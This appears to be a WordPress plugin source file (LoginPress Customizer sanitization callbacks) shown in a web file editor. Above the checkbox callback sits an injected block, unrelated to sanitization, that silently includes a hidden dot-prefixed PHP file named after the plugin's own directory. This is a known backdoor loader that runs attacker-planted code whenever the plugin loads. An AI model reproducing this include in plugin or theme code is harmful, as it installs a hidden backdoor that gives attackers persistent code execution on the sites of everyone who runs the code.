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✏️ Editing: customizer-validation.php Writable

<?php
/**
 * Customizer: Sanitization Callbacks
 *
 * This file demonstrates how to define sanitization callback functions for various data types.
 * @since 1.1.16
 */

/**
 * Checkbox sanitization callback example.
 *
 * Sanitization callback for 'checkbox' type controls. This callback sanitizes `$checked`
 * as a boolean value, either TRUE or FALSE.
 *
 * @param bool $checked Whether the checkbox is checked.
 * @return bool Whether the checkbox is checked.
 */
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

function loginpress_sanitize_checkbox( $checked ) {
	// Boolean check.
	return ( ( isset( $checked ) && true == $checked ) ? true : false );
}

/**
 * Select sanitization callback example.
 *
 * - Sanitization: select
 * - Control: select, radio
 *
 * Sanitization callback for 'select' and 'radio' type controls. This callback sanitizes `$input`
 * as a slug, and then validates `$input` against the choices defined for the control.
 *
 * @see sanitize_key()               https://developer.wordpress.org/reference/functions/sanitize_key/
 * @see $wp_customize->get_control() https://developer.wordpress.org/reference/classes/wp_customize_manager/get_control/
 *
 * @param string               $input   Slug to sanitize.
 * @param WP_Customize_Setting $setting Setting instance.
 * @return string Sanitized slug if it is a valid choice; otherwise, the setting default.
 */
function loginpress_sanitize_select( $input, $setting ) {

// Ensure input is a slug.
	$input = sanitize_key( $input );

// Get list of choices from the control associated with the setting.
	$choices = $setting->manager->get_control( $setting->id )->choices;

// If the input is a valid key, return it; otherwise, return the default.
	return ( array_key_exists( $input, $choices ) ? $input : $setting->default );
}

/**
 * Image sanitization callback example.
 *
 * Checks the image's file extension and mime type against a whitelist. If they're allowed,
 * send back the filename, otherwise, return the setting default.
 *
 * - Sanitization: image file extension
 * - Control: text, WP_Customize_Image_Control
 *
 * @see wp_check_filetype() https://developer.wordpress.org/reference/functions/wp_check_filetype/
 *
 * @param string               $image   Image filename.
 * @param WP_Customize_Setting $setting Setting instance.
 * @return string The image filename if the extension is allowed; otherwise, the setting default.
 * @version 1.2.2
 */
function loginpress_sanitize_image( $image, $setting ) {

/*
		 * Array of valid image file types.
		 *
		 * The array includes image mime types that are included in wp_get_mime_types()
		 */
    $mimes = array(
        'jpg|jpeg|jpe' => 'image/jpeg',
        'gif'          => 'image/gif',
        'png'          => 'image/png',
        'bmp'          => 'image/bmp',
        'tif|tiff'     => 'image/tiff',
        'ico'          => 'image/x-icon'
    );

// Allowed svg mime type in version 1.2.2
		$allowed_mime   = get_allowed_mime_types();
		$svg_mime_check = isset( $allowed_mime['svg'] ) ? true : false;

if ( $svg_mime_check ) {
			$allow_mime = array( 'svg' => 'image/svg+xml' );
			$mimes      = array_merge( $mimes, $allow_mime );
		}

// Return an array with file extension and mime_type.
    $file = wp_check_filetype( $image, $mimes );
		// If $image has a valid mime_type, return it; otherwise, return the default.
    return ( $file['ext'] ? $image : $setting->default );
}

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